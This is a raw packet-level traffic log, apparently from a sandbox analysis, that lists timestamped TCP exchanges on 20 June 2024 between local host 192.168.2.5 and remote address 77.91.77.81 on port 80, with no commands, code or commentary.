Jun 20, 2024 15:38:10.014209032 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.015166044 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.015199900 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.015223026 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.015242100 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.015249014 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.015285015 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.015307903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.015326977 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.060581923 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.060621023 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.060648918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.060674906 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.060725927 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.060777903 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.060844898 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.060874939 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.060900927 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.060920000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092318058 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092353106 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092375994 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092387915 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092397928 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092437983 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092514992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092624903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092637062 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092679977 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092680931 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092715979 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092736959 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092749119 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092761040 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092802048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092803955 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092838049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092853069 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092871904 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092876911 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092906952 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092924118 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092941046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092955112 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.092973948 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.092978001 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.093010902 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.093027115 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.093040943 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.093061924 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.093091011 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122405052 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122440100 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122471094 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122495890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122531891 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122590065 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122642040 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122692108 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122699976 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122725010 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122735023 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122759104 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122770071 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122808933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122812033 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122859955 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122864962 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122899055 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122921944 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122931957 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122961998 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.122967005 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.122982979 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123018026 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123023033 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123056889 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123071909 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123091936 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123101950 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123126030 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123147964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123181105 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123208046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123245001 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123265982 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123277903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123292923 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123312950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123327971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123369932 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123378038 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123403072 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123421907 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123450994 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123456001 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123488903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123502016 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123522997 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123538971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123573065 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123713017 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123769999 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123795986 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123828888 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123853922 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123873949 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123887062 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123923063 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123939037 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123958111 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.123972893 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.123991966 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124011993 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124025106 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124034882 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124058962 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124069929 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124093056 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124108076 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124128103 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124145985 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124166012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124177933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124213934 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124224901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124259949 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124274015 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124293089 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124310017 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124326944 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124337912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124377012 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124377966 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124413013 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124425888 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124445915 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124461889 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124480009 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124509096 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124530077 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124552965 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124563932 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124572039 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124598980 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124614000 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124645948 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124677896 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124727011 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124759912 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124795914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124816895 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124851942 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124857903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124892950 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124922037 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.124922991 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124958992 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.124990940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125016928 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125016928 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125025034 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125046015 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125060081 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125077963 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125094891 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125113010 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125128031 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125158072 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125160933 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125185013 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125196934 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125214100 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125247955 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125530958 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125566006 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125597954 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125597954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125626087 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125633001 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125644922 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125668049 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125685930 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125715971 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125720978 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125770092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125812054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125860929 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125861883 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125917912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.125929117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125978947 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.125981092 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.126013041 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.126020908 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.126049042 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.126060963 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.126099110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127027988 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127063036 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127094984 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127116919 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127150059 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127183914 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127202988 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127217054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127233982 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127269030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127334118 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127367973 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127387047 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127422094 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127489090 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127523899 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127541065 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127556086 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127571106 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127590895 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127607107 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127641916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127661943 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127710104 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127803087 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127835989 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.127846003 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.127887964 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.128222942 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.128257036 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.128274918 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.128290892 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.128305912 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.128354073 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.128362894 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.128413916 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148418903 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148454905 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148503065 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148503065 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148510933 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148561954 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148562908 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148597956 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148614883 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148633003 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148646116 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148668051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148680925 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148701906 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.148710012 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.148749113 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178410053 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178462982 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178495884 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178498030 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178524017 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178529978 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178541899 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178581953 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178582907 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178621054 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178637028 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178673029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178675890 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178720951 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178723097 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178761005 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178775072 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178791046 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178811073 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178824902 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178837061 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178864956 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178872108 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178899050 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178913116 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178934097 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178951025 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178966999 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.178986073 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.178999901 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.179008007 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.179048061 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210032940 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210128069 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210151911 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210163116 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210180998 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210200071 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210216045 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210249901 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210374117 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210422993 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210458994 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210493088 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210500956 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210521936 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210542917 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210572958 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210752964 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210788012 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.210807085 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.210844040 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211044073 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211077929 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211096048 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211116076 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211124897 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211158991 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211455107 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211488008 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211503029 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211535931 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211673021 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211707115 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211738110 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211738110 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.211762905 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.211785078 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.212151051 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212183952 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212204933 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.212217093 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212232113 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.212264061 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.212311029 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212343931 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212359905 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.212388992 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.212397099 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212430954 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212450027 CEST	49708	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:10.212464094 CEST	80	49708	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:10.212472916 CEST	49708	80	192.168.2.5	77.91.77.81
